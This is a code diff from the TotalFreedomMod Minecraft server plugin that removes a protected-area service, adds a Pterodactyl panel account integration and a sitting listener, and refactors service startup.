import org.bukkit.event.EventPriority;
import org.bukkit.event.block.BlockBreakEvent;
import org.bukkit.event.block.BlockPlaceEvent;
import org.bukkit.util.Vector;
public class ProtectArea extends FreedomService
{
public static final String DATA_FILENAME = "protectedareas.dat";
public static final double MAX_RADIUS = 50.0;
//
private final Map<String, SerializableProtectedRegion> areas = Maps.newHashMap();
public ProtectArea(TotalFreedomMod plugin)
{
super(plugin);
}
@Override
protected void onStart()
{
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
return;
}
File input = new File(plugin.getDataFolder(), DATA_FILENAME);
try
{
if (input.exists())
{
FileInputStream fis = new FileInputStream(input);
ObjectInputStream ois = new ObjectInputStream(fis);
areas.clear();
areas.putAll((HashMap<String, SerializableProtectedRegion>)ois.readObject());
ois.close();
fis.close();
}
}
catch (Exception ex)
{
input.delete();
FLog.severe(ex);
}
cleanProtectedAreas();
}
@Override
protected void onStop()
{
save();
}
public void save()
{
try
{
FileOutputStream fos = new FileOutputStream(new File(plugin.getDataFolder(), DATA_FILENAME));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(areas);
oos.close();
fos.close();
}
catch (Exception ex)
{
FLog.severe(ex);
}
}
@EventHandler(priority = EventPriority.NORMAL)
public void onBlockBreak(BlockBreakEvent event)
{
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
return;
}
final Player player = event.getPlayer();
if (plugin.al.isAdmin(player))
{
return;
}
final Location location = event.getBlock().getLocation();
if (isInProtectedArea(location))
{
event.setCancelled(true);
}
}
@EventHandler(priority = EventPriority.NORMAL)
public void onBlockPlace(BlockPlaceEvent event)
{
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
return;
}
final Player player = event.getPlayer();
if (plugin.al.isAdmin(player))
{
return;
}
final Location location = event.getBlock().getLocation();
if (isInProtectedArea(location))
{
event.setCancelled(true);
}
}
public boolean isInProtectedArea(final Location modifyLocation)
{
boolean doSave = false;
boolean inProtectedArea = false;
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
while (it.hasNext())
{
final SerializableProtectedRegion region = it.next().getValue();
Location regionCenter = null;
try
{
regionCenter = region.getLocation();
}
catch (SerializableProtectedRegion.CantFindWorldException ex)
{
it.remove();
doSave = true;
continue;
}
if (regionCenter != null)
{
if (modifyLocation.getWorld() == regionCenter.getWorld())
{
final double regionRadius = region.getRadius();
if (modifyLocation.distanceSquared(regionCenter) <= (regionRadius * regionRadius))
{
inProtectedArea = true;
break;
}
}
}
}
if (doSave)
{
save();
}
return inProtectedArea;
}
public boolean isInProtectedArea(final Vector min, final Vector max, final String worldName)
{
boolean doSave = false;
boolean inProtectedArea = false;
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
while (it.hasNext())
{
final SerializableProtectedRegion region = it.next().getValue();
Location regionCenter = null;
try
{
regionCenter = region.getLocation();
}
catch (SerializableProtectedRegion.CantFindWorldException ex)
{
it.remove();
doSave = true;
continue;
}
if (regionCenter != null)
{
if (worldName.equals(regionCenter.getWorld().getName()))
{
if (cubeIntersectsSphere(min, max, regionCenter.toVector(), region.getRadius()))
{
inProtectedArea = true;
break;
}
}
}
}
if (doSave)
{
save();
}
return inProtectedArea;
}
private boolean cubeIntersectsSphere(Vector min, Vector max, Vector sphere, double radius)
{
double d = square(radius);
if (sphere.getX() < min.getX())
{
d -= square(sphere.getX() - min.getX());
}
else if (sphere.getX() > max.getX())
{
d -= square(sphere.getX() - max.getX());
}
if (sphere.getY() < min.getY())
{
d -= square(sphere.getY() - min.getY());
}
else if (sphere.getY() > max.getY())
{
d -= square(sphere.getY() - max.getY());
}
if (sphere.getZ() < min.getZ())
{
d -= square(sphere.getZ() - min.getZ());
}
else if (sphere.getZ() > max.getZ())
{
d -= square(sphere.getZ() - max.getZ());
}
return d > 0;
}
private double square(double v)
{
return v * v;
}
public void addProtectedArea(String label, Location location, double radius)
{
areas.put(label.toLowerCase(), new SerializableProtectedRegion(location, radius));
save();
}
public void removeProtectedArea(String label)
{
areas.remove(label.toLowerCase());
save();
}
public void clearProtectedAreas()
{
clearProtectedAreas(true);
}
public void clearProtectedAreas(boolean createSpawnpointProtectedAreas)
{
areas.clear();
if (createSpawnpointProtectedAreas)
{
autoAddSpawnpoints();
}
save();
}
public void cleanProtectedAreas()
{
boolean doSave = false;
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
while (it.hasNext())
{
try
{
it.next().getValue().getLocation();
}
catch (SerializableProtectedRegion.CantFindWorldException ex)
{
it.remove();
doSave = true;
}
}
if (doSave)
{
save();
}
}
public Set<String> getProtectedAreaLabels()
{
return areas.keySet();
}
public void autoAddSpawnpoints()
{
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
{
return;
}
if (ConfigEntry.PROTECTAREA_SPAWNPOINTS.getBoolean())
{
for (World world : Bukkit.getWorlds())
{
addProtectedArea("spawn_" + world.getName(), world.getSpawnLocation(), ConfigEntry.PROTECTAREA_RADIUS.getDouble());
}
}
}
public static class SerializableProtectedRegion implements Serializable
{
private static final long serialVersionUID = 213123517828282L;
private final double x, y, z;
private final double radius;
private final String worldName;
private final UUID worldUUID;
private transient Location location = null;
public SerializableProtectedRegion(final Location location, final double radius)
{
this.x = location.getX();
this.y = location.getY();
this.z = location.getZ();
this.radius = radius;
this.worldName = location.getWorld().getName();
this.worldUUID = location.getWorld().getUID();
this.location = location;
}
public Location getLocation() throws CantFindWorldException
{
if (this.location == null)
{
World world = Bukkit.getWorld(this.worldUUID);
if (world == null)
{
world = Bukkit.getWorld(this.worldName);
}
if (world == null)
{
throw new CantFindWorldException("Can't find world " + this.worldName + ", UUID: " + this.worldUUID.toString());
}
location = new Location(world, x, y, z);
}
return this.location;
}
public double getRadius()
{
return radius;
}
public class CantFindWorldException extends Exception
{
private static final long serialVersionUID = 1L;
public CantFindWorldException(String string)
{
super(string);
}
}
}
}

View File

@ -0,0 +1,214 @@
package me.totalfreedom.totalfreedommod;
import java.io.IOException;
import java.util.Arrays;
import java.util.List;
import joptsimple.internal.Strings;
import me.totalfreedom.totalfreedommod.admin.Admin;
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
import me.totalfreedom.totalfreedommod.rank.Rank;
import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil;
import me.totalfreedom.totalfreedommod.util.Response;
import org.json.simple.JSONObject;
import org.json.simple.parser.ParseException;
public class Pterodactyl extends FreedomService
{
public final String URL = ConfigEntry.PTERO_URL.getString();
private final String SERVER_KEY = ConfigEntry.PTERO_SERVER_KEY.getString();
private final String ADMIN_KEY = ConfigEntry.PTERO_ADMIN_KEY.getString();
private final List<String> SERVER_HEADERS = Arrays.asList("Accept:Application/vnd.pterodactyl.v1+json", "Content-Type:application/json", "Authorization:Bearer " + SERVER_KEY);
private final List<String> ADMIN_HEADERS = Arrays.asList("Accept:Application/vnd.pterodactyl.v1+json", "Content-Type:application/json", "Authorization:Bearer " + ADMIN_KEY);
private boolean enabled = !Strings.isNullOrEmpty(URL);
public void onStart()
{
}
public void onStop()
{
}
public void updateAccountStatus(Admin admin)
{
String id = admin.getPteroID();
if (Strings.isNullOrEmpty(id) || !enabled)
{
return;
}
if (!admin.isActive() || admin.getRank() != Rank.SENIOR_ADMIN)
{
FLog.debug("Disabling ptero acc");
removeAccountFromServer(id);
return;
}
FLog.debug("Enabling ptero acc");
addAccountToServer(id);
}
@SuppressWarnings("unchecked")
public String createAccount(String username, String password)
{
JSONObject json = new JSONObject();
json.put("username", username);
json.put("password", password);
json.put("email", username.toLowerCase() + "@" + ConfigEntry.PTERO_DEFAULT_EMAIL_DOMAIN.getString());
json.put("first_name", username);
json.put("last_name", "\u200E"); // required, so I made it appear empty
Response response;
JSONObject jsonResponse;
try
{
response = FUtil.sendRequest(URL + "/api/application/users", "POST", ADMIN_HEADERS, json.toJSONString());
jsonResponse = response.getJSONMessage();
}
catch (IOException | ParseException e)
{
FLog.severe(e);
return null;
}
return ((JSONObject)jsonResponse.get("attributes")).get("id").toString();
}
public boolean deleteAccount(String id)
{
JSONObject json = new JSONObject();
try
{
return FUtil.sendRequest(URL + "/api/application/users/" + id, "DELETE", ADMIN_HEADERS, json.toJSONString()).getCode() == 204;
}
catch (IOException e)
{
FLog.severe(e);
return false;
}
}
@SuppressWarnings("unchecked")
public void addAccountToServer(String id)
{
String url = URL + "/api/client/servers/" + ConfigEntry.PTERO_SERVER_UUID.getString() + "/users";
JSONObject userData = getUserData(id);
if (userData == null)
{
FLog.severe("The Pterodactyl user with the ID of " + id + " was not found");
return;
}
JSONObject json = new JSONObject();
json.put("email", userData.get("email").toString());
json.put("permissions", Arrays.asList("control.console", "control.start", "control.restart", "control.stop", "control.kill"));
try
{
FUtil.sendRequest(url, "POST", SERVER_HEADERS, json.toJSONString());
}
catch (IOException e)
{
FLog.severe(e);
}
}
public void removeAccountFromServer(String id)
{
JSONObject userData = getUserData(id);
if (userData == null)
{
FLog.severe("The Pterodactyl user with the ID of " + id + " was not found");
return;
}
String url = URL + "/api/client/servers/" + ConfigEntry.PTERO_SERVER_UUID.getString() + "/users/" + userData.get("uuid");
try
{
FUtil.sendRequest(url, "DELETE", SERVER_HEADERS, null);
}
catch (IOException e)
{
FLog.severe(e);
}
}
public JSONObject getUserData(String id)
{
Response response;
JSONObject jsonResponse;
try
{
response = FUtil.sendRequest(URL + "/api/application/users/" + id, "GET", ADMIN_HEADERS, null);
jsonResponse = response.getJSONMessage();
}
catch (IOException | ParseException e)
{
FLog.severe(e);
return null;
}
return (JSONObject)jsonResponse.get("attributes");
}
// API patch function on users doesnt work rn, it throws 500 errors, so it's probably not written yet
@SuppressWarnings("unchecked")
public void setPassword(String id, String password)
{
JSONObject json = new JSONObject();
json.put("password", password);
try
{
FUtil.sendRequest(URL + "/api/application/users/" + id, "PATCH", ADMIN_HEADERS, json.toJSONString());
}
catch (IOException e)
{
FLog.severe(e);
}
}
public String getURL()
{
return URL;
}
public String getServerKey()
{
return SERVER_KEY;
}
public String getAdminKey()
{
return ADMIN_KEY;
}
public List<String> getServerHeaders()
{
return SERVER_HEADERS;
}
public List<String> getAdminHeaders()
{
return ADMIN_HEADERS;
}
public boolean isEnabled()
{
return enabled;
}
public void setEnabled(boolean enabled)
{
this.enabled = enabled;
}
}

View File

@ -12,19 +12,13 @@ import static me.totalfreedom.totalfreedommod.util.FUtil.SAVED_FLAGS_FILENAME;
public class SavedFlags extends FreedomService public class SavedFlags extends FreedomService
{ {
public SavedFlags(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -32,8 +26,8 @@ public class SavedFlags extends FreedomService
public Map<String, Boolean> getSavedFlags() public Map<String, Boolean> getSavedFlags()
{ {
Map<String, Boolean> flags = null; Map<String, Boolean> flags = null;
File input = new File(TotalFreedomMod.getPlugin().getDataFolder(), SAVED_FLAGS_FILENAME);
File input = new File(TotalFreedomMod.plugin().getDataFolder(), SAVED_FLAGS_FILENAME);
if (input.exists()) if (input.exists())
{ {
try try

View File

@ -4,30 +4,14 @@ import java.util.Arrays;
import java.util.List; import java.util.List;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import net.minecraft.server.v1_15_R1.EntityPlayer; import net.minecraft.server.v1_16_R3.EntityPlayer;
import net.minecraft.server.v1_15_R1.MinecraftServer; import net.minecraft.server.v1_16_R3.MinecraftServer;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.craftbukkit.v1_15_R1.CraftServer; import org.bukkit.craftbukkit.v1_16_R3.CraftServer;
public class ServerInterface extends FreedomService public class ServerInterface extends FreedomService
{ {
public static final String COMPILE_NMS_VERSION = "v1_16_R3";
public static final String COMPILE_NMS_VERSION = "v1_15_R1";
public ServerInterface(TotalFreedomMod plugin)
{
super(plugin);
}
@Override
protected void onStart()
{
}
@Override
protected void onStop()
{
}
public static void warnVersion() public static void warnVersion()
{ {
@ -40,6 +24,16 @@ public class ServerInterface extends FreedomService
} }
} }
@Override
public void onStart()
{
}
@Override
public void onStop()
{
}
public void setOnlineMode(boolean mode) public void setOnlineMode(boolean mode)
{ {
getServer().setOnlineMode(mode); getServer().setOnlineMode(mode);

View File

@ -9,19 +9,13 @@ import org.bukkit.event.server.ServerListPingEvent;
public class ServerPing extends FreedomService public class ServerPing extends FreedomService
{ {
public ServerPing(TotalFreedomMod plugin)
{
super(plugin);
}
@Override @Override
protected void onStart() public void onStart()
{ {
} }
@Override @Override
protected void onStop() public void onStop()
{ {
} }
@ -79,5 +73,4 @@ public class ServerPing extends FreedomService
event.setMotd(motd.toString().trim()); event.setMotd(motd.toString().trim());
} }
}
}

View File

@ -0,0 +1,34 @@
package me.totalfreedom.totalfreedommod;
import me.totalfreedom.totalfreedommod.command.Command_sit;
import org.bukkit.entity.ArmorStand;
import org.bukkit.entity.Entity;
import org.bukkit.event.EventHandler;
import org.spigotmc.event.entity.EntityDismountEvent;
public class Sitter extends FreedomService
{
@Override
public void onStart()
{
}
@Override
public void onStop()
{
}
@EventHandler
public void onEntityDismount(EntityDismountEvent e)
{
Entity dm = e.getDismounted();
if (dm instanceof ArmorStand)
{
if (Command_sit.STANDS.contains(dm))
{
Command_sit.STANDS.remove(dm);
dm.remove();
}
}
}
}

View File

@ -5,10 +5,8 @@ import java.io.InputStream;
import java.util.Properties; import java.util.Properties;
import me.totalfreedom.totalfreedommod.admin.ActivityLog; import me.totalfreedom.totalfreedommod.admin.ActivityLog;
import me.totalfreedom.totalfreedommod.admin.AdminList; import me.totalfreedom.totalfreedommod.admin.AdminList;
import me.totalfreedom.totalfreedommod.amp.AMP;
import me.totalfreedom.totalfreedommod.banning.BanManager; import me.totalfreedom.totalfreedommod.banning.BanManager;
import me.totalfreedom.totalfreedommod.banning.PermbanList; import me.totalfreedom.totalfreedommod.banning.IndefiniteBanList;
import me.totalfreedom.totalfreedommod.banning.VPNBanList;
import me.totalfreedom.totalfreedommod.blocking.BlockBlocker; import me.totalfreedom.totalfreedommod.blocking.BlockBlocker;
import me.totalfreedom.totalfreedommod.blocking.EditBlocker; import me.totalfreedom.totalfreedommod.blocking.EditBlocker;
import me.totalfreedom.totalfreedommod.blocking.EventBlocker; import me.totalfreedom.totalfreedommod.blocking.EventBlocker;
@ -22,6 +20,7 @@ import me.totalfreedom.totalfreedommod.bridge.BukkitTelnetBridge;
import me.totalfreedom.totalfreedommod.bridge.CoreProtectBridge; import me.totalfreedom.totalfreedommod.bridge.CoreProtectBridge;
import me.totalfreedom.totalfreedommod.bridge.EssentialsBridge; import me.totalfreedom.totalfreedommod.bridge.EssentialsBridge;
import me.totalfreedom.totalfreedommod.bridge.LibsDisguisesBridge; import me.totalfreedom.totalfreedommod.bridge.LibsDisguisesBridge;
import me.totalfreedom.totalfreedommod.bridge.TFGuildsBridge;
import me.totalfreedom.totalfreedommod.bridge.WorldEditBridge; import me.totalfreedom.totalfreedommod.bridge.WorldEditBridge;
import me.totalfreedom.totalfreedommod.bridge.WorldGuardBridge; import me.totalfreedom.totalfreedommod.bridge.WorldGuardBridge;
import me.totalfreedom.totalfreedommod.caging.Cager; import me.totalfreedom.totalfreedommod.caging.Cager;
@ -29,55 +28,52 @@ import me.totalfreedom.totalfreedommod.command.CommandLoader;
import me.totalfreedom.totalfreedommod.config.MainConfig; import me.totalfreedom.totalfreedommod.config.MainConfig;
import me.totalfreedom.totalfreedommod.discord.Discord; import me.totalfreedom.totalfreedommod.discord.Discord;
import me.totalfreedom.totalfreedommod.freeze.Freezer; import me.totalfreedom.totalfreedommod.freeze.Freezer;
import me.totalfreedom.totalfreedommod.fun.CurseListener;
import me.totalfreedom.totalfreedommod.fun.ItemFun; import me.totalfreedom.totalfreedommod.fun.ItemFun;
import me.totalfreedom.totalfreedommod.fun.Jumppads; import me.totalfreedom.totalfreedommod.fun.Jumppads;
import me.totalfreedom.totalfreedommod.fun.Landminer; import me.totalfreedom.totalfreedommod.fun.Landminer;
import me.totalfreedom.totalfreedommod.fun.MP44; import me.totalfreedom.totalfreedommod.fun.MP44;
import me.totalfreedom.totalfreedommod.fun.MobStacker;
import me.totalfreedom.totalfreedommod.fun.RealTimer;
import me.totalfreedom.totalfreedommod.fun.Trailer; import me.totalfreedom.totalfreedommod.fun.Trailer;
import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon; import me.totalfreedom.totalfreedommod.httpd.HTTPDaemon;
import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilder;
import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilderList;
import me.totalfreedom.totalfreedommod.masterbuilder.MasterBuilderWorldRestrictions;
import me.totalfreedom.totalfreedommod.permissions.PermissionConfig; import me.totalfreedom.totalfreedommod.permissions.PermissionConfig;
import me.totalfreedom.totalfreedommod.permissions.PermissionManager; import me.totalfreedom.totalfreedommod.permissions.PermissionManager;
import me.totalfreedom.totalfreedommod.player.PlayerList; import me.totalfreedom.totalfreedommod.player.PlayerList;
import me.totalfreedom.totalfreedommod.playerverification.PlayerVerification;
import me.totalfreedom.totalfreedommod.punishments.PunishmentList; import me.totalfreedom.totalfreedommod.punishments.PunishmentList;
import me.totalfreedom.totalfreedommod.rank.RankManager; import me.totalfreedom.totalfreedommod.rank.RankManager;
import me.totalfreedom.totalfreedommod.rollback.RollbackManager;
import me.totalfreedom.totalfreedommod.shop.Shop; import me.totalfreedom.totalfreedommod.shop.Shop;
import me.totalfreedom.totalfreedommod.shop.Votifier;
import me.totalfreedom.totalfreedommod.sql.SQLite;
import me.totalfreedom.totalfreedommod.util.FLog; import me.totalfreedom.totalfreedommod.util.FLog;
import me.totalfreedom.totalfreedommod.util.FUtil; import me.totalfreedom.totalfreedommod.util.FUtil;
import me.totalfreedom.totalfreedommod.util.MethodTimer; import me.totalfreedom.totalfreedommod.util.MethodTimer;
import me.totalfreedom.totalfreedommod.world.CleanroomChunkGenerator; import me.totalfreedom.totalfreedommod.world.CleanroomChunkGenerator;
import me.totalfreedom.totalfreedommod.world.WorldManager; import me.totalfreedom.totalfreedommod.world.WorldManager;
import net.pravian.aero.component.service.ServiceManager; import me.totalfreedom.totalfreedommod.world.WorldRestrictions;
import net.pravian.aero.plugin.AeroPlugin; import org.bstats.bukkit.Metrics;
import org.bstats.Metrics;
import org.bukkit.Bukkit; import org.bukkit.Bukkit;
import org.bukkit.generator.ChunkGenerator; import org.bukkit.generator.ChunkGenerator;
import org.bukkit.plugin.Plugin; import org.bukkit.plugin.Plugin;
import org.bukkit.scheduler.BukkitRunnable; import org.bukkit.plugin.java.JavaPlugin;
import org.jetbrains.annotations.NotNull;
import org.spigotmc.SpigotConfig; import org.spigotmc.SpigotConfig;
public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod> public class TotalFreedomMod extends JavaPlugin
{ {
public static final String CONFIG_FILENAME = "config.yml"; public static final String CONFIG_FILENAME = "config.yml";
// //
public static final BuildProperties build = new BuildProperties(); public static final BuildProperties build = new BuildProperties();
// //
public static String pluginName; public static String pluginName;
public static String pluginVersion; public static String pluginVersion;
private static TotalFreedomMod plugin;
// //
public MainConfig config; public MainConfig config;
public PermissionConfig permissions; public PermissionConfig permissions;
// //
// Service Handler
public FreedomServiceHandler fsh;
// Command Loader
public CommandLoader cl;
// Services // Services
public ServiceManager<TotalFreedomMod> services;
public ServerInterface si; public ServerInterface si;
public SavedFlags sf; public SavedFlags sf;
public WorldManager wm; public WorldManager wm;
@ -85,7 +81,6 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
public AdminList al; public AdminList al;
public ActivityLog acl; public ActivityLog acl;
public RankManager rm; public RankManager rm;
public CommandLoader cl;
public CommandBlocker cb; public CommandBlocker cb;
public EventBlocker eb; public EventBlocker eb;
public BlockBlocker bb; public BlockBlocker bb;
@ -97,17 +92,16 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
public AntiSpam as; public AntiSpam as;
public PlayerList pl; public PlayerList pl;
public Shop sh; public Shop sh;
public Votifier vo;
public SQLite sql;
public Announcer an; public Announcer an;
public ChatManager cm; public ChatManager cm;
public Discord dc; public Discord dc;
public PunishmentList pul; public PunishmentList pul;
public BanManager bm; public BanManager bm;
public PermbanList pm; public IndefiniteBanList im;
public PermissionManager pem; public PermissionManager pem;
public VPNBanList vn;
public ProtectArea pa;
public GameRuleHandler gr; public GameRuleHandler gr;
public RollbackManager rb;
public CommandSpy cs; public CommandSpy cs;
public Cager ca; public Cager ca;
public Freezer fm; public Freezer fm;
@ -121,46 +115,60 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
public Monitors mo; public Monitors mo;
public MovementValidator mv; public MovementValidator mv;
public ServerPing sp; public ServerPing sp;
public CurseListener cul;
public ItemFun it; public ItemFun it;
public Landminer lm; public Landminer lm;
public MobStacker ms;
public MP44 mp; public MP44 mp;
public Jumppads jp; public Jumppads jp;
public Trailer tr; public Trailer tr;
public HTTPDaemon hd; public HTTPDaemon hd;
public MasterBuilderList mbl; public WorldRestrictions wr;
public MasterBuilderWorldRestrictions mbwr;
public SignBlocker snp; public SignBlocker snp;
public PlayerVerification pv;
public EntityWiper ew; public EntityWiper ew;
public RealTimer rt; public Sitter st;
//public HubWorldRestrictions hwr; public VanishHandler vh;
public Pterodactyl ptero;
// //
// Bridges // Bridges
public ServiceManager<TotalFreedomMod> bridges;
public BukkitTelnetBridge btb; public BukkitTelnetBridge btb;
public EssentialsBridge esb; public EssentialsBridge esb;
public LibsDisguisesBridge ldb; public LibsDisguisesBridge ldb;
public CoreProtectBridge cpb; public CoreProtectBridge cpb;
public TFGuildsBridge tfg;
public WorldEditBridge web; public WorldEditBridge web;
public WorldGuardBridge wgb; public WorldGuardBridge wgb;
public AMP amp;
public static TotalFreedomMod getPlugin()
{
return plugin;
}
public static TotalFreedomMod plugin()
{
for (Plugin plugin : Bukkit.getPluginManager().getPlugins())
{
if (plugin.getName().equalsIgnoreCase(pluginName))
{
return (TotalFreedomMod)plugin;
}
}
return null;
}
@Override @Override
public void load() public void onLoad()
{ {
plugin = this;
TotalFreedomMod.pluginName = plugin.getDescription().getName(); TotalFreedomMod.pluginName = plugin.getDescription().getName();
TotalFreedomMod.pluginVersion = plugin.getDescription().getVersion(); TotalFreedomMod.pluginVersion = plugin.getDescription().getVersion();
FLog.setPluginLogger(plugin.getLogger()); FLog.setPluginLogger(plugin.getLogger());
FLog.setServerLogger(server.getLogger()); FLog.setServerLogger(getServer().getLogger());
build.load(plugin); build.load(plugin);
} }
@Override @Override
public void enable() public void onEnable()
{ {
FLog.info("Created by Madgeek1450 and Prozza"); FLog.info("Created by Madgeek1450 and Prozza");
FLog.info("Version " + build.version); FLog.info("Version " + build.version);
@ -176,136 +184,63 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
FUtil.deleteCoreDumps(); FUtil.deleteCoreDumps();
FUtil.deleteFolder(new File("./_deleteme")); FUtil.deleteFolder(new File("./_deleteme"));
BackupManager backups = new BackupManager(this); fsh = new FreedomServiceHandler();
backups.createBackups(TotalFreedomMod.CONFIG_FILENAME, true);
backups.createBackups(AdminList.CONFIG_FILENAME);
backups.createBackups(PermbanList.CONFIG_FILENAME);
backups.createBackups(PermissionConfig.PERMISSIONS_FILENAME, true);
backups.createBackups(VPNBanList.CONFIG_FILENAME);
backups.createBackups(MasterBuilder.CONFIG_FILENAME);
backups.createBackups(PunishmentList.CONFIG_FILENAME);
config = new MainConfig(this); config = new MainConfig();
config.load(); config.load();
permissions = new PermissionConfig(this); if (FUtil.inDeveloperMode())
{
FLog.debug("Developer mode enabled.");
}
cl = new CommandLoader();
cl.loadCommands();
BackupManager backups = new BackupManager();
backups.createAllBackups();
permissions = new PermissionConfig();
permissions.load(); permissions.load();
// Start services mv = new MovementValidator();
services = new ServiceManager<>(plugin); sp = new ServerPing();
si = services.registerService(ServerInterface.class);
sf = services.registerService(SavedFlags.class);
wm = services.registerService(WorldManager.class);
lv = services.registerService(LogViewer.class);
al = services.registerService(AdminList.class);
acl = services.registerService(ActivityLog.class);
rm = services.registerService(RankManager.class);
cl = services.registerService(CommandLoader.class);
cb = services.registerService(CommandBlocker.class);
eb = services.registerService(EventBlocker.class);
bb = services.registerService(BlockBlocker.class);
mb = services.registerService(MobBlocker.class);
ib = services.registerService(InteractBlocker.class);
pb = services.registerService(PotionBlocker.class);
lp = services.registerService(LoginProcess.class);
nu = services.registerService(AntiNuke.class);
as = services.registerService(AntiSpam.class);
mbl = services.registerService(MasterBuilderList.class);
mbwr = services.registerService(MasterBuilderWorldRestrictions.class);
//hwr = services.registerService(HubWorldRestrictions.class);
pl = services.registerService(PlayerList.class);
sh = services.registerService(Shop.class);
an = services.registerService(Announcer.class);
cm = services.registerService(ChatManager.class);
dc = services.registerService(Discord.class);
pul = services.registerService(PunishmentList.class);
bm = services.registerService(BanManager.class);
pm = services.registerService(PermbanList.class);
pem = services.registerService(PermissionManager.class);
vn = services.registerService(VPNBanList.class);
pa = services.registerService(ProtectArea.class);
gr = services.registerService(GameRuleHandler.class);
snp = services.registerService(SignBlocker.class);
ew = services.registerService(EntityWiper.class);
// Single admin utils new Initializer();
rb = services.registerService(RollbackManager.class);
cs = services.registerService(CommandSpy.class);
ca = services.registerService(Cager.class);
fm = services.registerService(Freezer.class);
or = services.registerService(Orbiter.class);
mu = services.registerService(Muter.class);
ebl = services.registerService(EditBlocker.class);
pbl = services.registerService(PVPBlocker.class);
fo = services.registerService(Fuckoff.class);
ak = services.registerService(AutoKick.class);
ae = services.registerService(AutoEject.class);
mo = services.registerService(Monitors.class);
fsh.startServices();
mv = services.registerService(MovementValidator.class); FLog.info("Started " + fsh.getServiceAmount() + " services.");
sp = services.registerService(ServerPing.class);
pv = services.registerService(PlayerVerification.class);
// Fun
cul = services.registerService(CurseListener.class);
it = services.registerService(ItemFun.class);
lm = services.registerService(Landminer.class);
ms = services.registerService(MobStacker.class);
mp = services.registerService(MP44.class);
jp = services.registerService(Jumppads.class);
tr = services.registerService(Trailer.class);
rt = services.registerService(RealTimer.class);
// HTTPD
hd = services.registerService(HTTPDaemon.class);
services.start();
// Start bridges
bridges = new ServiceManager<>(plugin);
btb = bridges.registerService(BukkitTelnetBridge.class);
cpb = bridges.registerService(CoreProtectBridge.class);
esb = bridges.registerService(EssentialsBridge.class);
ldb = bridges.registerService(LibsDisguisesBridge.class);
web = bridges.registerService(WorldEditBridge.class);
wgb = bridges.registerService(WorldGuardBridge.class);
amp = bridges.registerService(AMP.class);
bridges.start();
timer.update(); timer.update();
FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms"); FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms");
// Metrics @ https://bstats.org/plugin/bukkit/TotalFreedomMod // Metrics @ https://bstats.org/plugin/bukkit/TotalFreedomMod/2966
new Metrics(this); new Metrics(this, 2966);
// Add spawnpoints later - https://github.com/TotalFreedom/TotalFreedomMod/issues/438
new BukkitRunnable()
{
@Override
public void run()
{
plugin.pa.autoAddSpawnpoints();
}
}.runTaskLater(plugin, 60L);
// little workaround to stop spigot from autorestarting - causing AMP to detach from process. // little workaround to stop spigot from autorestarting - causing AMP to detach from process.
SpigotConfig.config.set("settings.restart-on-crash", false); SpigotConfig.config.set("settings.restart-on-crash", false);
} }
@Override @Override
public void disable() public void onDisable()
{ {
// Stop services and bridges // Stop services and bridges
bridges.stop(); fsh.stopServices();
services.stop();
server.getScheduler().cancelTasks(plugin); getServer().getScheduler().cancelTasks(plugin);
FLog.info("Plugin disabled"); FLog.info("Plugin disabled");
} }
@Override
public ChunkGenerator getDefaultWorldGenerator(@NotNull String worldName, String id)
{
return new CleanroomChunkGenerator(id);
}
public static class BuildProperties public static class BuildProperties
{ {
public String author; public String author;
public String codename; public String codename;
public String version; public String version;
@ -346,21 +281,101 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
} }
} }
public static TotalFreedomMod plugin() /**
* This class is provided to please Codacy.
*/
private final class Initializer
{ {
for (Plugin plugin : Bukkit.getPluginManager().getPlugins()) public Initializer()
{ {
if (plugin.getName().equalsIgnoreCase(pluginName)) initServices();
{ initAdminUtils();
return (TotalFreedomMod)plugin; initBridges();
} initFun();
initHTTPD();
} }
return null;
}
@Override private void initServices()
public ChunkGenerator getDefaultWorldGenerator(String worldName, String id) {
{ // Start services
return new CleanroomChunkGenerator(id); si = new ServerInterface();
sf = new SavedFlags();
wm = new WorldManager();
lv = new LogViewer();
sql = new SQLite();
al = new AdminList();
acl = new ActivityLog();
rm = new RankManager();
cb = new CommandBlocker();
eb = new EventBlocker();
bb = new BlockBlocker();
mb = new MobBlocker();
ib = new InteractBlocker();
pb = new PotionBlocker();
lp = new LoginProcess();
nu = new AntiNuke();
as = new AntiSpam();
wr = new WorldRestrictions();
pl = new PlayerList();
sh = new Shop();
vo = new Votifier();
an = new Announcer();
cm = new ChatManager();
dc = new Discord();
pul = new PunishmentList();
bm = new BanManager();
im = new IndefiniteBanList();
pem = new PermissionManager();
gr = new GameRuleHandler();
snp = new SignBlocker();
ew = new EntityWiper();
st = new Sitter();
vh = new VanishHandler();
ptero = new Pterodactyl();
}
private void initAdminUtils()
{
// Single admin utils
cs = new CommandSpy();
ca = new Cager();
fm = new Freezer();
or = new Orbiter();
mu = new Muter();
ebl = new EditBlocker();
